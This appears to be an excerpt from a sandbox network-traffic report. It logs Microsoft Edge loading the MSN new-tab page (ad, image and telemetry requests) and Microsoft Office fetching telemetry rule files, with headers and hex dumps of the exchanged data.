0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49921	18.238.49.124	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	1012	OUT	GET /b2?rn=1732635113531&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2FBC76E93A286CF7086363AA3B5A6D16&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1AB6a00a295f8a24c77b1081732635114; XID=1AB6a00a295f8a24c77b1081732635114
2024-11-26 15:31:56 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 26 Nov 2024 15:31:56 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 08c35fba3c05c07f78b1292e4a5f949a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: 385lVsj3NY0LZhl0IlarOseGKpN4H83WNYWsmZtPxzpKvcatwpPK6g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49920	23.101.168.44	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2FBC76E93A286CF7086363AA3B5A6D16&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=513b5309afe94ab8f8969ef22104e14a HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1
2024-11-26 15:31:56 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close
2024-11-26 15:31:56 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49926	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=164295 Expires: Thu, 28 Nov 2024 13:10:11 GMT Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close
2024-11-26 15:31:56 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49927	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=296609 Expires: Sat, 30 Nov 2024 01:55:25 GMT Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close
2024-11-26 15:31:56 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49925	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=182471 Expires: Thu, 28 Nov 2024 18:13:07 GMT Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close
2024-11-26 15:31:56 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49928	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=381407 Expires: Sun, 01 Dec 2024 01:28:43 GMT Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close
2024-11-26 15:31:56 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49919	20.189.173.3	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732635113528&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=2FBC76E93A286CF7086363AA3B5A6D16; _EDGE_S=F=1&SID=05BF87E60AF466781CE592A50BC66774; _EDGE_V=1
2024-11-26 15:31:56 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 31 35 3a 33 31 3a 35 33 2e 35 32 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 39 64 38 62 32 33 2d 38 65 39 33 2d 34 32 64 33 2d 61 61 36 61 2d 39 38 37 62 37 33 62 66 65 65 38 34 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 35 39 37 37 30 34 35 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-26T15:31:53.524Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"209d8b23-8e93-42d3-aa6a-987b73bfee84","epoch":"3559770455"},"app":{"locale
2024-11-26 15:31:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4773d7d6a3f141789afb668721870da6&HASH=4773&LV=202411&V=4&LU=1732635116707; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 15:31:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=e740b4fa195a49daabd83dfff07d3b2f; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 16:01:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3179 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49924	23.44.133.54	443	8108	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 15:31:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=279930 Expires: Fri, 29 Nov 2024 21:17:26 GMT Date: Tue, 26 Nov 2024 15:31:56 GMT Connection: close
2024-11-26 15:31:56 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153156Z-174f7845968v75bwhC1EWRuqen0000000gm000000000awxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:56 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153156Z-174f78459688l8rvhC1EWRtzr0000000085000000000m1pa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
